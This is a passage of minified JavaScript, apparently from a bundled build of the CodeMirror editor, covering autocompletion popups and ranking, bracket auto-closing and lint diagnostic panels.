o?o.then(l=>{l&&this.view.state.field(this.stateField,!1)==e&&this.addInfoPane(l,r)}).catch(l=>Fe(this.view.state,l,"completion info")):(this.addInfoPane(o,r),n.setAttribute("aria-describedby",this.info.id))}}addInfoPane(e,t){this.destroyInfo();let n=this.info=document.createElement("div");if(n.className="cm-tooltip cm-completionInfo",n.id="cm-completionInfo-"+Math.floor(Math.random()*65535).toString(16),e.nodeType!=null)n.appendChild(e),this.infoDestroy=null;else{let{dom:r,destroy:s}=e;n.appendChild(r),this.infoDestroy=s||null}this.dom.appendChild(n),this.view.requestMeasure(this.placeInfoReq)}updateSelectedOption(e){let t=null;for(let n=this.list.firstChild,r=this.range.from;n;n=n.nextSibling,r++)n.nodeName!="LI"||!n.id?r--:r==e?n.hasAttribute("aria-selected")||(n.setAttribute("aria-selected","true"),t=n):n.hasAttribute("aria-selected")&&(n.removeAttribute("aria-selected"),n.removeAttribute("aria-describedby"));return t&&gk(this.list,t),t}measureInfo(){let e=this.dom.querySelector("[aria-selected]");if(!e||!this.info)return null;let t=this.dom.getBoundingClientRect(),n=this.info.getBoundingClientRect(),r=e.getBoundingClientRect(),s=this.space;if(!s){let o=this.dom.ownerDocument.documentElement;s={left:0,top:0,right:o.clientWidth,bottom:o.clientHeight}}return r.top>Math.min(s.bottom,t.bottom)-10||r.bottom<Math.max(s.top,t.top)+10?null:this.view.state.facet(de).positionInfo(this.view,t,r,n,s,this.dom)}placeInfo(e){this.info&&(e?(e.style&&(this.info.style.cssText=e.style),this.info.className="cm-tooltip cm-completionInfo "+(e.class||"")):this.info.style.cssText="top: -1e6px")}createListBox(e,t,n){const r=document.createElement("ul");r.id=t,r.setAttribute("role","listbox"),r.setAttribute("aria-expanded","true"),r.setAttribute("aria-label",this.view.state.phrase("Completions")),r.addEventListener("mousedown",o=>{o.target==r&&o.preventDefault()});let s=null;for(let o=n.from;o<n.to;o++){let{completion:l,match:a}=e[o],{section:h}=l;if(h){let u=typeof h=="string"?h:h.name;if(u!=s&&(o>n.from||n.from==0))if(s=u,typeof h!="string"&&h.header)r.appendChild(h.header(h));else{let d=r.appendChild(document.createElement("completion-section"));d.textContent=u}}const c=r.appendChild(document.createElement("li"));c.id=t+"-"+o,c.setAttribute("role","option");let f=this.optionClass(l);f&&(c.className=f);for(let u of this.optionContent){let d=u(l,this.view.state,this.view,a);d&&c.appendChild(d)}}return n.from&&r.classList.add("cm-completionListIncompleteTop"),n.to<e.length&&r.classList.add("cm-completionListIncompleteBottom"),r}destroyInfo(){this.info&&(this.infoDestroy&&this.infoDestroy(),this.info.remove(),this.info=null)}destroy(){this.destroyInfo()}}function pk(i,e){return t=>new dk(t,i,e)}function gk(i,e){let t=i.getBoundingClientRect(),n=e.getBoundingClientRect(),r=t.height/i.offsetHeight;n.top<t.top?i.scrollTop-=(t.top-n.top)/r:n.bottom>t.bottom&&(i.scrollTop+=(n.bottom-t.bottom)/r)}function yc(i){return(i.boost||0)*100+(i.apply?10:0)+(i.info?5:0)+(i.type?1:0)}function mk(i,e){let t=[],n=null,r=null,s=c=>{t.push(c);let{section:f}=c.completion;if(f){n||(n=[]);let u=typeof f=="string"?f:f.name;n.some(d=>d.name==u)||n.push(typeof f=="string"?{name:u}:f)}},o=e.facet(de);for(let c of i)if(c.hasResult()){let f=c.result.getMatch;if(c.result.filter===!1)for(let u of c.result.options)s(new gc(u,c.source,f?f(u):[],1e9-t.length));else{let u=e.sliceDoc(c.from,c.to),d,p=o.filterStrict?new ck(u):new hk(u);for(let g of c.result.options)if(d=p.match(g.label)){let m=g.displayLabel?f?f(g,d.matched):[]:d.matched,b=d.score+(g.boost||0);if(s(new gc(g,c.source,m,b)),typeof g.section=="object"&&g.section.rank==="dynamic"){let{name:x}=g.section;r||(r=Object.create(null)),r[x]=Math.max(b,r[x]||-1e9)}}}}if(n){let c=Object.create(null),f=0,u=(d,p)=>(d.rank==="dynamic"&&p.rank==="dynamic"?r[p.name]-r[d.name]:0)||(typeof d.rank=="number"?d.rank:1e9)-(typeof p.rank=="number"?p.rank:1e9)||(d.name<p.name?-1:1);for(let d of n.sort(u))f-=1e5,c[d.name]=f;for(let d of t){let{section:p}=d.completion;p&&(d.score+=c[typeof p=="string"?p:p.name])}}let l=[],a=null,h=o.compareCompletions;for(let c of t.sort((f,u)=>u.score-f.score||h(f.completion,u.completion))){let f=c.completion;!a||a.label!=f.label||a.detail!=f.detail||a.type!=null&&f.type!=null&&a.type!=f.type||a.apply!=f.apply||a.boost!=f.boost?l.push(c):yc(c.completion)>yc(a)&&(l[l.length-1]=c),a=c.completion}return l}class Ti{constructor(e,t,n,r,s,o){this.options=e,this.attrs=t,this.tooltip=n,this.timestamp=r,this.selected=s,this.disabled=o}setSelected(e,t){return e==this.selected||e>=this.options.length?this:new Ti(this.options,xc(t,e),this.tooltip,this.timestamp,e,this.disabled)}static build(e,t,n,r,s,o){if(r&&!o&&e.some(h=>h.isPending))return r.setDisabled();let l=mk(e,t);if(!l.length)return r&&e.some(h=>h.isPending)?r.setDisabled():null;let a=t.facet(de).selectOnOpen?0:-1;if(r&&r.selected!=a&&r.selected!=-1){let h=r.options[r.selected].completion;for(let c=0;c<l.length;c++)if(l[c].completion==h){a=c;break}}return new Ti(l,xc(n,a),{pos:e.reduce((h,c)=>c.hasResult()?Math.min(h,c.from):h,1e8),create:kk,above:s.aboveCursor},r?r.timestamp:Date.now(),a,!1)}map(e){return new Ti(this.options,this.attrs,{...this.tooltip,pos:e.mapPos(this.tooltip.pos)},this.timestamp,this.selected,this.disabled)}setDisabled(){return new Ti(this.options,this.attrs,this.tooltip,this.timestamp,this.selected,!0)}}class rs{constructor(e,t,n){this.active=e,this.id=t,this.open=n}static start(){return new rs(vk,"cm-ac-"+Math.floor(Math.random()*2e6).toString(36),null)}update(e){let{state:t}=e,n=t.facet(de),s=(n.override||t.languageDataAt("autocomplete",ui(t)).map(ak)).map(a=>(this.active.find(c=>c.source==a)||new je(a,this.active.some(c=>c.state!=0)?1:0)).update(e,n));s.length==this.active.length&&s.every((a,h)=>a==this.active[h])&&(s=this.active);let o=this.open,l=e.effects.some(a=>a.is(ya));o&&e.docChanged&&(o=o.map(e.changes)),e.selection||s.some(a=>a.hasResult()&&e.changes.touchesRange(a.from,a.to))||!bk(s,this.active)||l?o=Ti.build(s,t,this.id,o,n,l):o&&o.disabled&&!s.some(a=>a.isPending)&&(o=null),!o&&s.every(a=>!a.isPending)&&s.some(a=>a.hasResult())&&(s=s.map(a=>a.hasResult()?new je(a.source,0):a));for(let a of e.effects)a.is(ba)&&(o=o&&o.setSelected(a.value,this.id));return s==this.active&&o==this.open?this:new rs(s,this.id,o)}get tooltip(){return this.open?this.open.tooltip:null}get attrs(){return this.open?this.open.attrs:this.active.length?yk:xk}}function bk(i,e){if(i==e)return!0;for(let t=0,n=0;;){for(;t<i.length&&!i[t].hasResult();)t++;for(;n<e.length&&!e[n].hasResult();)n++;let r=t==i.length,s=n==e.length;if(r||s)return r==s;if(i[t++].result!=e[n++].result)return!1}}const yk={"aria-autocomplete":"list"},xk={};function xc(i,e){let t={"aria-autocomplete":"list","aria-haspopup":"listbox","aria-controls":i};return e>-1&&(t["aria-activedescendant"]=i+"-"+e),t}const vk=[];function pp(i,e){if(i.isUserEvent("input.complete")){let n=i.annotation(dp);if(n&&e.activateOnCompletion(n))return 12}let t=i.isUserEvent("input.type");return t&&e.activateOnTyping?5:t?1:i.isUserEvent("delete.backward")?2:i.selection?8:i.docChanged?16:0}class je{constructor(e,t,n=!1){this.source=e,this.state=t,this.explicit=n}hasResult(){return!1}get isPending(){return this.state==1}update(e,t){let n=pp(e,t),r=this;(n&8||n&16&&this.touches(e))&&(r=new je(r.source,0)),n&4&&r.state==0&&(r=new je(this.source,1)),r=r.updateFor(e,n);for(let s of e.effects)if(s.is(ns))r=new je(r.source,1,s.value);else if(s.is(Bn))r=new je(r.source,0);else if(s.is(ya))for(let o of s.value)o.source==r.source&&(r=o);return r}updateFor(e,t){return this.map(e.changes)}map(e){return this}touches(e){return e.changes.touchesRange(ui(e.state))}}class Fi extends je{constructor(e,t,n,r,s,o){super(e,3,t),this.limit=n,this.result=r,this.from=s,this.to=o}hasResult(){return!0}updateFor(e,t){var n;if(!(t&3))return this.map(e.changes);let r=this.result;r.map&&!e.changes.empty&&(r=r.map(r,e.changes));let s=e.changes.mapPos(this.from),o=e.changes.mapPos(this.to,1),l=ui(e.state);if(l>o||!r||t&2&&(ui(e.startState)==this.from||l<this.limit))return new je(this.source,t&4?1:0);let a=e.changes.mapPos(this.limit);return Sk(r.validFor,e.state,s,o)?new Fi(this.source,this.explicit,a,r,s,o):r.update&&(r=r.update(r,s,o,new fp(e.state,l,!1)))?new Fi(this.source,this.explicit,a,r,r.from,(n=r.to)!==null&&n!==void 0?n:ui(e.state)):new je(this.source,1,this.explicit)}map(e){if(e.empty)return this;let t=this.result.map?this.result.map(this.result,e):this.result;return t?new Fi(this.source,this.explicit,e.mapPos(this.limit),t,e.mapPos(this.from),e.mapPos(this.to,1)):new je(this.source,0)}touches(e){return e.changes.touchesRange(this.from,this.to)}}function Sk(i,e,t,n){if(!i)return!1;let r=e.sliceDoc(t,n);return typeof i=="function"?i(r,t,n,e):up(i,!0).test(r)}const ya=N.define({map(i,e){return i.map(t=>t.map(e))}}),Ne=Ae.define({create(){return rs.start()},update(i,e){return i.update(e)},provide:i=>[ta.from(i,e=>e.tooltip),A.contentAttributes.from(i,e=>e.attrs)]});function xa(i,e){const t=e.completion.apply||e.completion.label;let n=i.state.field(Ne).active.find(r=>r.source==e.source);return n instanceof Fi?(typeof t=="string"?i.dispatch({...lk(i.state,t,n.from,n.to),annotations:dp.of(e.completion)}):t(i,e.completion,n.from,n.to),!0):!1}const kk=pk(Ne,xa);function mr(i,e="option"){return t=>{let n=t.state.field(Ne,!1);if(!n||!n.open||n.open.disabled||Date.now()-n.open.timestamp<t.state.facet(de).interactionDelay)return!1;let r=1,s;e=="page"&&(s=Ku(t,n.open.tooltip))&&(r=Math.max(2,Math.floor(s.dom.offsetHeight/s.dom.querySelector("li").offsetHeight)-1));let{length:o}=n.open.options,l=n.open.selected>-1?n.open.selected+r*(i?1:-1):i?0:o-1;return l<0?l=e=="page"?0:o-1:l>=o&&(l=e=="page"?o-1:0),t.dispatch({effects:ba.of(l)}),!0}}const wk=i=>{let e=i.state.field(Ne,!1);return i.state.readOnly||!e||!e.open||e.open.selected<0||e.open.disabled||Date.now()-e.open.timestamp<i.state.facet(de).interactionDelay?!1:xa(i,e.open.options[e.open.selected])},uo=i=>i.state.field(Ne,!1)?(i.dispatch({effects:ns.of(!0)}),!0):!1,Ok=i=>{let e=i.state.field(Ne,!1);return!e||!e.active.some(t=>t.state!=0)?!1:(i.dispatch({effects:Bn.of(null)}),!0)};class Ck{constructor(e,t){this.active=e,this.context=t,this.time=Date.now(),this.updates=[],this.done=void 0}}const Ak=50,Tk=1e3,Mk=se.fromClass(class{constructor(i){this.view=i,this.debounceUpdate=-1,this.running=[],this.debounceAccept=-1,this.pendingStart=!1,this.composing=0;for(let e of i.state.field(Ne).active)e.isPending&&this.startQuery(e)}update(i){let e=i.state.field(Ne),t=i.state.facet(de);if(!i.selectionSet&&!i.docChanged&&i.startState.field(Ne)==e)return;let n=i.transactions.some(s=>{let o=pp(s,t);return o&8||(s.selection||s.docChanged)&&!(o&3)});for(let s=0;s<this.running.length;s++){let o=this.running[s];if(n||o.context.abortOnDocChange&&i.docChanged||o.updates.length+i.transactions.length>Ak&&Date.now()-o.time>Tk){for(let l of o.context.abortListeners)try{l()}catch(a){Fe(this.view.state,a)}o.context.abortListeners=null,this.running.splice(s--,1)}else o.updates.push(...i.transactions)}this.debounceUpdate>-1&&clearTimeout(this.debounceUpdate),i.transactions.some(s=>s.effects.some(o=>o.is(ns)))&&(this.pendingStart=!0);let r=this.pendingStart?50:t.activateOnTypingDelay;if(this.debounceUpdate=e.active.some(s=>s.isPending&&!this.running.some(o=>o.active.source==s.source))?setTimeout(()=>this.startUpdate(),r):-1,this.composing!=0)for(let s of i.transactions)s.isUserEvent("input.type")?this.composing=2:this.composing==2&&s.selection&&(this.composing=3)}startUpdate(){this.debounceUpdate=-1,this.pendingStart=!1;let{state:i}=this.view,e=i.field(Ne);for(let t of e.active)t.isPending&&!this.running.some(n=>n.active.source==t.source)&&this.startQuery(t);this.running.length&&e.open&&e.open.disabled&&(this.debounceAccept=setTimeout(()=>this.accept(),this.view.state.facet(de).updateSyncTime))}startQuery(i){let{state:e}=this.view,t=ui(e),n=new fp(e,t,i.explicit,this.view),r=new Ck(i,n);this.running.push(r),Promise.resolve(i.source(n)).then(s=>{r.context.aborted||(r.done=s||null,this.scheduleAccept())},s=>{this.view.dispatch({effects:Bn.of(null)}),Fe(this.view.state,s)})}scheduleAccept(){this.running.every(i=>i.done!==void 0)?this.accept():this.debounceAccept<0&&(this.debounceAccept=setTimeout(()=>this.accept(),this.view.state.facet(de).updateSyncTime))}accept(){var i;this.debounceAccept>-1&&clearTimeout(this.debounceAccept),this.debounceAccept=-1;let e=[],t=this.view.state.facet(de),n=this.view.state.field(Ne);for(let r=0;r<this.running.length;r++){let s=this.running[r];if(s.done===void 0)continue;if(this.running.splice(r--,1),s.done){let l=ui(s.updates.length?s.updates[0].startState:this.view.state),a=Math.min(l,s.done.from+(s.active.explicit?0:1)),h=new Fi(s.active.source,s.active.explicit,a,s.done,s.done.from,(i=s.done.to)!==null&&i!==void 0?i:l);for(let c of s.updates)h=h.update(c,t);if(h.hasResult()){e.push(h);continue}}let o=n.active.find(l=>l.source==s.active.source);if(o&&o.isPending)if(s.done==null){let l=new je(s.active.source,0);for(let a of s.updates)l=l.update(a,t);l.isPending||e.push(l)}else this.startQuery(o)}(e.length||n.open&&n.open.disabled)&&this.view.dispatch({effects:ya.of(e)})}},{eventHandlers:{blur(i){let e=this.view.state.field(Ne,!1);if(e&&e.tooltip&&this.view.state.facet(de).closeOnBlur){let t=e.open&&Ku(this.view,e.open.tooltip);(!t||!t.dom.contains(i.relatedTarget))&&setTimeout(()=>this.view.dispatch({effects:Bn.of(null)}),10)}},compositionstart(){this.composing=1},compositionend(){this.composing==3&&setTimeout(()=>this.view.dispatch({effects:ns.of(!1)}),20),this.composing=0}}}),Pk=typeof navigator=="object"&&/Win/.test(navigator.platform),Ek=yi.highest(A.domEventHandlers({keydown(i,e){let t=e.state.field(Ne,!1);if(!t||!t.open||t.open.disabled||t.open.selected<0||i.key.length>1||i.ctrlKey&&!(Pk&&i.altKey)||i.metaKey)return!1;let n=t.open.options[t.open.selected],r=t.active.find(o=>o.source==n.source),s=n.completion.commitCharacters||r.result.commitCharacters;return s&&s.indexOf(i.key)>-1&&xa(e,n),!1}})),Lk=A.baseTheme({".cm-tooltip.cm-tooltip-autocomplete":{"& > ul":{fontFamily:"monospace",whiteSpace:"nowrap",overflow:"hidden auto",maxWidth_fallback:"700px",maxWidth:"min(700px, 95vw)",minWidth:"250px",maxHeight:"10em",height:"100%",listStyle:"none",margin:0,padding:0,"& > li, & > completion-section":{padding:"1px 3px",lineHeight:1.2},"& > li":{overflowX:"hidden",textOverflow:"ellipsis",cursor:"pointer"},"& > completion-section":{display:"list-item",borderBottom:"1px solid silver",paddingLeft:"0.5em",opacity:.7}}},"&light .cm-tooltip-autocomplete ul li[aria-selected]":{background:"#17c",color:"white"},"&light .cm-tooltip-autocomplete-disabled ul li[aria-selected]":{background:"#777"},"&dark .cm-tooltip-autocomplete ul li[aria-selected]":{background:"#347",color:"white"},"&dark .cm-tooltip-autocomplete-disabled ul li[aria-selected]":{background:"#444"},".cm-completionListIncompleteTop:before, .cm-completionListIncompleteBottom:after":{content:'"···"',opacity:.5,display:"block",textAlign:"center",cursor:"pointer"},".cm-tooltip.cm-completionInfo":{position:"absolute",padding:"3px 9px",width:"max-content",maxWidth:"400px",boxSizing:"border-box",whiteSpace:"pre-line"},".cm-completionInfo.cm-completionInfo-left":{right:"100%"},".cm-completionInfo.cm-completionInfo-right":{left:"100%"},".cm-completionInfo.cm-completionInfo-left-narrow":{right:"30px"},".cm-completionInfo.cm-completionInfo-right-narrow":{left:"30px"},"&light .cm-snippetField":{backgroundColor:"#00000022"},"&dark .cm-snippetField":{backgroundColor:"#ffffff22"},".cm-snippetFieldPosition":{verticalAlign:"text-top",width:0,height:"1.15em",display:"inline-block",margin:"0 -0.7px -.7em",borderLeft:"1.4px dotted #888"},".cm-completionMatchedText":{textDecoration:"underline"},".cm-completionDetail":{marginLeft:"0.5em",fontStyle:"italic"},".cm-completionIcon":{fontSize:"90%",width:".8em",display:"inline-block",textAlign:"center",paddingRight:".6em",opacity:"0.6",boxSizing:"content-box"},".cm-completionIcon-function, .cm-completionIcon-method":{"&:after":{content:"'ƒ'"}},".cm-completionIcon-class":{"&:after":{content:"'○'"}},".cm-completionIcon-interface":{"&:after":{content:"'◌'"}},".cm-completionIcon-variable":{"&:after":{content:"'𝑥'"}},".cm-completionIcon-constant":{"&:after":{content:"'𝐶'"}},".cm-completionIcon-type":{"&:after":{content:"'𝑡'"}},".cm-completionIcon-enum":{"&:after":{content:"'∪'"}},".cm-completionIcon-property":{"&:after":{content:"'□'"}},".cm-completionIcon-keyword":{"&:after":{content:"'🔑︎'"}},".cm-completionIcon-namespace":{"&:after":{content:"'▢'"}},".cm-completionIcon-text":{"&:after":{content:"'abc'",fontSize:"50%",verticalAlign:"middle"}}}),Fn={brackets:["(","[","{","'",'"'],before:")]}:;>",stringPrefixes:[]},ai=N.define({map(i,e){let t=e.mapPos(i,-1,De.TrackAfter);return t??void 0}}),va=new class extends Vt{};va.startSide=1;va.endSide=-1;const gp=Ae.define({create(){return $.empty},update(i,e){if(i=i.map(e.changes),e.selection){let t=e.state.doc.lineAt(e.selection.main.head);i=i.update({filter:n=>n>=t.from&&n<=t.to})}for(let t of e.effects)t.is(ai)&&(i=i.update({add:[va.range(t.value,t.value+1)]}));return i}});function Dk(){return[Ik,gp]}const po="()[]{}<>«»»«[]{}";function mp(i){for(let e=0;e<po.length;e+=2)if(po.charCodeAt(e)==i)return po.charAt(e+1);return _l(i<128?i:i+1)}function bp(i,e){return i.languageDataAt("closeBrackets",e)[0]||Fn}const Rk=typeof navigator=="object"&&/Android\b/.test(navigator.userAgent),Ik=A.inputHandler.of((i,e,t,n)=>{if((Rk?i.composing:i.compositionStarted)||i.state.readOnly)return!1;let r=i.state.selection.main;if(n.length>2||n.length==2&&pt(Ie(n,0))==1||e!=r.from||t!=r.to)return!1;let s=Fk(i.state,n);return s?(i.dispatch(s),!0):!1}),Nk=({state:i,dispatch:e})=>{if(i.readOnly)return!1;let n=bp(i,i.selection.main.head).brackets||Fn.brackets,r=null,s=i.changeByRange(o=>{if(o.empty){let l=_k(i.doc,o.head);for(let a of n)if(a==l&&Ps(i.doc,o.head)==mp(Ie(a,0)))return{changes:{from:o.head-a.length,to:o.head+a.length},range:v.cursor(o.head-a.length)}}return{range:r=o}});return r||e(i.update(s,{scrollIntoView:!0,userEvent:"delete.backward"})),!r},Bk=[{key:"Backspace",run:Nk}];function Fk(i,e){let t=bp(i,i.selection.main.head),n=t.brackets||Fn.brackets;for(let r of n){let s=mp(Ie(r,0));if(e==r)return s==r?Hk(i,r,n.indexOf(r+r+r)>-1,t):Wk(i,r,s,t.before||Fn.before);if(e==s&&yp(i,i.selection.main.from))return $k(i,r,s)}return null}function yp(i,e){let t=!1;return i.field(gp).between(0,i.doc.length,n=>{n==e&&(t=!0)}),t}function Ps(i,e){let t=i.sliceString(e,e+2);return t.slice(0,pt(Ie(t,0)))}function _k(i,e){let t=i.sliceString(e-2,e);return pt(Ie(t,0))==t.length?t:t.slice(1)}function Wk(i,e,t,n){let r=null,s=i.changeByRange(o=>{if(!o.empty)return{changes:[{insert:e,from:o.from},{insert:t,from:o.to}],effects:ai.of(o.to+e.length),range:v.range(o.anchor+e.length,o.head+e.length)};let l=Ps(i.doc,o.head);return!l||/\s/.test(l)||n.indexOf(l)>-1?{changes:{insert:e+t,from:o.head},effects:ai.of(o.head+e.length),range:v.cursor(o.head+e.length)}:{range:r=o}});return r?null:i.update(s,{scrollIntoView:!0,userEvent:"input.type"})}function $k(i,e,t){let n=null,r=i.changeByRange(s=>s.empty&&Ps(i.doc,s.head)==t?{changes:{from:s.head,to:s.head+t.length,insert:t},range:v.cursor(s.head+t.length)}:n={range:s});return n?null:i.update(r,{scrollIntoView:!0,userEvent:"input.type"})}function Hk(i,e,t,n){let r=n.stringPrefixes||Fn.stringPrefixes,s=null,o=i.changeByRange(l=>{if(!l.empty)return{changes:[{insert:e,from:l.from},{insert:e,from:l.to}],effects:ai.of(l.to+e.length),range:v.range(l.anchor+e.length,l.head+e.length)};let a=l.head,h=Ps(i.doc,a),c;if(h==e){if(vc(i,a))return{changes:{insert:e+e,from:a},effects:ai.of(a+e.length),range:v.cursor(a+e.length)};if(yp(i,a)){let u=t&&i.sliceDoc(a,a+e.length*3)==e+e+e?e+e+e:e;return{changes:{from:a,to:a+u.length,insert:u},range:v.cursor(a+u.length)}}}else{if(t&&i.sliceDoc(a-2*e.length,a)==e+e&&(c=Sc(i,a-2*e.length,r))>-1&&vc(i,c))return{changes:{insert:e+e+e+e,from:a},effects:ai.of(a+e.length),range:v.cursor(a+e.length)};if(i.charCategorizer(a)(h)!=te.Word&&Sc(i,a,r)>-1&&!Vk(i,a,e,r))return{changes:{insert:e+e,from:a},effects:ai.of(a+e.length),range:v.cursor(a+e.length)}}return{range:s=l}});return s?null:i.update(o,{scrollIntoView:!0,userEvent:"input.type"})}function vc(i,e){let t=Oe(i).resolveInner(e+1);return t.parent&&t.from==e}function Vk(i,e,t,n){let r=Oe(i).resolveInner(e,-1),s=n.reduce((o,l)=>Math.max(o,l.length),0);for(let o=0;o<5;o++){let l=i.sliceDoc(r.from,Math.min(r.to,r.from+t.length+s)),a=l.indexOf(t);if(!a||a>-1&&n.indexOf(l.slice(0,a))>-1){let c=r.firstChild;for(;c&&c.from==r.from&&c.to-c.from>t.length+a;){if(i.sliceDoc(c.to-t.length,c.to)==t)return!1;c=c.firstChild}return!0}let h=r.to==e&&r.parent;if(!h)break;r=h}return!1}function Sc(i,e,t){let n=i.charCategorizer(e);if(n(i.sliceDoc(e-1,e))!=te.Word)return e;for(let r of t){let s=e-r.length;if(i.sliceDoc(s,e)==r&&n(i.sliceDoc(s-1,s))!=te.Word)return s}return-1}function Qk(i={}){return[Ek,Ne,de.of(i),Mk,zk,Lk]}const xp=[{key:"Ctrl-Space",run:uo},{mac:"Alt-`",run:uo},{mac:"Alt-i",run:uo},{key:"Escape",run:Ok},{key:"ArrowDown",run:mr(!0)},{key:"ArrowUp",run:mr(!1)},{key:"PageDown",run:mr(!0,"page")},{key:"PageUp",run:mr(!1,"page")},{key:"Enter",run:wk}],zk=yi.highest(vs.computeN([de],i=>i.facet(de).defaultKeymap?[xp]:[]));class kc{constructor(e,t,n){this.from=e,this.to=t,this.diagnostic=n}}class ri{constructor(e,t,n){this.diagnostics=e,this.panel=t,this.selected=n}static init(e,t,n){let r=n.facet(_n).markerFilter;r&&(e=r(e,n));let s=e.slice().sort((d,p)=>d.from-p.from||d.to-p.to),o=new Et,l=[],a=0,h=n.doc.iter(),c=0,f=n.doc.length;for(let d=0;;){let p=d==s.length?null:s[d];if(!p&&!l.length)break;let g,m;if(l.length)g=a,m=l.reduce((S,M)=>Math.min(S,M.to),p&&p.from>g?p.from:1e8);else{if(g=p.from,g>f)break;m=p.to,l.push(p),d++}for(;d<s.length;){let S=s[d];if(S.from==g&&(S.to>S.from||S.to==g))l.push(S),d++,m=Math.min(S.to,m);else{m=Math.min(S.from,m);break}}m=Math.min(m,f);let b=!1;if(l.some(S=>S.from==g&&(S.to==m||m==f))&&(b=g==m,!b&&m-g<10)){let S=g-(c+h.value.length);S>0&&(h.next(S),c=g);for(let M=g;;){if(M>=m){b=!0;break}if(!h.lineBreak&&c+h.value.length>M)break;M=c+h.value.length,c+=h.value.length,h.next()}}let x=nw(l);if(b)o.add(g,g,D.widget({widget:new Zk(x),diagnostics:l.slice()}));else{let S=l.reduce((M,k)=>k.markClass?M+" "+k.markClass:M,"");o.add(g,m,D.mark({class:"cm-lintRange cm-lintRange-"+x+S,diagnostics:l.slice(),inclusiveEnd:l.some(M=>M.to>m)}))}if(a=m,a==f)break;for(let S=0;S<l.length;S++)l[S].to<=a&&l.splice(S--,1)}let u=o.finish();return new ri(u,t,Xt(u))}}function Xt(i,e=null,t=0){let n=null;return i.between(t,1e9,(r,s,{spec:o})=>{if(!(e&&o.diagnostics.indexOf(e)<0))if(!n)n=new kc(r,s,e||o.diagnostics[0]);else{if(o.diagnostics.indexOf(n.diagnostic)<0)return!1;n=new kc(n.from,s,n.diagnostic)}}),n}function qk(i,e){let t=e.pos,n=e.end||t,r=i.state.facet(_n).hideOn(i,t,n);if(r!=null)return r;let s=i.startState.doc.lineAt(e.pos);return!!(i.effects.some(o=>o.is(vp))||i.changes.touchesRange(s.from,Math.max(s.to,n)))}function Uk(i,e){return i.field(qe,!1)?e:e.concat(N.appendConfig.of(rw))}const vp=N.define(),Sa=N.define(),Sp=N.define(),qe=Ae.define({create(){return new ri(D.none,null,null)},update(i,e){if(e.docChanged&&i.diagnostics.size){let t=i.diagnostics.map(e.changes),n=null,r=i.panel;if(i.selected){let s=e.changes.mapPos(i.selected.from,1);n=Xt(t,i.selected.diagnostic,s)||Xt(t,null,s)}!t.size&&r&&e.state.facet(_n).autoPanel&&(r=null),i=new ri(t,r,n)}for(let t of e.effects)if(t.is(vp)){let n=e.state.facet(_n).autoPanel?t.value.length?Wn.open:null:i.panel;i=ri.init(t.value,n,e.state)}else t.is(Sa)?i=new ri(i.diagnostics,t.value?Wn.open:null,i.selected):t.is(Sp)&&(i=new ri(i.diagnostics,i.panel,t.value));return i},provide:i=>[Ln.from(i,e=>e.panel),A.decorations.from(i,e=>e.diagnostics)]}),Kk=D.mark({class:"cm-lintRange cm-lintRange-active"});function Xk(i,e,t){let{diagnostics:n}=i.state.field(qe),r,s=-1,o=-1;n.between(e-(t<0?1:0),e+(t>0?1:0),(a,h,{spec:c})=>{if(e>=a&&e<=h&&(a==h||(e>a||t>0)&&(e<h||t<0)))return r=c.diagnostics,s=a,o=h,!1});let l=i.state.facet(_n).tooltipFilter;return r&&l&&(r=l(r,i.state)),r?{pos:s,end:o,above:!0,create(){return{dom:jk(i,r)}}}:null}function jk(i,e){return j("ul",{class:"cm-tooltip-lint"},e.map(t=>wp(i,t,!1)))}const Yk=i=>{let e=i.state.field(qe,!1);(!e||!e.panel)&&i.dispatch({effects:Uk(i.state,[Sa.of(!0)])});let t=ia(i,Wn.open);return t&&t.dom.querySelector(".cm-panel-lint ul").focus(),!0},wc=i=>{let e=i.state.field(qe,!1);return!e||!e.panel?!1:(i.dispatch({effects:Sa.of(!1)}),!0)},Gk=i=>{let e=i.state.field(qe,!1);if(!e)return!1;let t=i.state.selection.main,n=Xt(e.diagnostics,null,t.to+1);return!n&&(n=Xt(e.diagnostics,null,0),!n||n.from==t.from&&n.to==t.to)?!1:(i.dispatch({selection:{anchor:n.from,head:n.to},scrollIntoView:!0}),X1(i,n.from,1,{tooltip:Op,until:r=>r.docChanged||r.newSelection.main.head<n.from||r.newSelection.main.head>n.to}),!0)},Jk=[{key:"Mod-Shift-m",run:Yk,preventDefault:!0},{key:"F8",run:Gk}],_n=T.define({combine(i){return{sources:i.map(e=>e.source).filter(e=>e!=null),...kt(i.map(e=>e.config),{delay:750,markerFilter:null,tooltipFilter:null,needsRefresh:null,hideOn:()=>null},{delay:Math.max,markerFilter:Oc,tooltipFilter:Oc,needsRefresh:(e,t)=>e?t?n=>e(n)||t(n):e:t,hideOn:(e,t)=>e?t?(n,r,s)=>e(n,r,s)||t(n,r,s):e:t,autoPanel:(e,t)=>e||t})}}});function Oc(i,e){return i?e?(t,n)=>e(i(t,n),n):i:e}function kp(i){let e=[];if(i)e:for(let{name:t}of i){for(let n=0;n<t.length;n++){let r=t[n];if(/[a-zA-Z]/.test(r)&&!e.some(s=>s.toLowerCase()==r.toLowerCase())){e.push(r);continue e}}e.push("")}return e}function wp(i,e,t){var n;let r=t?kp(e.actions):[];return j("li",{class:"cm-diagnostic cm-diagnostic-"+e.severity},j("span",{class:"cm-diagnosticText"},e.renderMessage?e.renderMessage(i):e.message),(n=e.actions)===null||n===void 0?void 0:n.map((s,o)=>{let l=!1,a=d=>{if(d.preventDefault(),l)return;l=!0;let p=Xt(i.state.field(qe).diagnostics,e);p&&s.apply(i,p.from,p.to)},{name:h}=s,c=r[o]?h.indexOf(r[o]):-1,f=c<0?h:[h.slice(0,c),j("u",h.slice(c,c+1)),h.slice(c+1)],u=s.markClass?" "+s.markClass:"";return j("button",{type:"button",class:"cm-diagnosticAction"+u,onclick:a,onmousedown:a,"aria-label":` Action: ${h}${c<0?"":` (access key "${r[o]})"`}.`},f)}),e.source&&j("div",{class:"cm-diagnosticSource"},e.source))}class Zk extends wt{constructor(e){super(),this.sev=e}eq(e){return e.sev==this.sev}toDOM(){return j("span",{class:"cm-lintPoint cm-lintPoint-"+this.sev})}}class Cc{constructor(e,t){this.diagnostic=t,this.id="item_"+Math.floor(Math.random()*4294967295).toString(16),this.dom=wp(e,t,!0),this.dom.id=this.id,this.dom.setAttribute("role","option")}}class Wn{constructor(e){this.view=e,this.items=[];let t=r=>{if(!(r.ctrlKey||r.altKey||r.metaKey)){if(r.keyCode==27)wc(this.view),this.view.focus();else if(r.keyCode==38||r.keyCode==33)this.moveSelection((this.selectedIndex-1+this.items.length)%this.items.length);else if(r.keyCode==40||r.keyCode==34)this.moveSelection((this.selectedIndex+1)%this.items.length);else 